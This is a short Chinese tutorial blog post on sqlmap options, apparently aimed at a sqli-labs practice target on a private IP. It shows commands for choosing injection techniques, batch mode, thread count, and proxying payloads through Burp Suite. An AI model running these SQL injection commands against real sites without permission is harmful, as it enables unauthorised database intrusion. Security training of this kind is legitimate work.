Sqlmap中代理及其他常用参数

Posted 2021-08-05 web安全工具库

​岁月静好是片刻，一地鸡毛才是日常。。。

----  网易云热评    

一、不指定注入类型，会自动进行多种注入测试

sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1"

二、指定注入

1、指定联合注入

sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --technique U

2、指定联合加布尔注入

sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --technique UB

三、指定其他注入

1、B：布尔注入

2、E：报错注入

3、U：联合注入

4、S：语句查询注入

5、T：延时注入

四、自动选择默认提示，不会弹出提示框让我们选择yes或no

sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --batch

五、指定线程数，最大线程数是10

sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --thread 5 --batch

六、设置代理

1、先设置好代理

2、sqlmap指定代理服务器

sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --proxy="http://127.0.0.1:8080"

3、发送的所有payload，我们在BurpSuite中都可以看到

禁止非法，后果自负

欢迎关注公众号：web安全工具库

欢迎关注视频号：之乎者也吧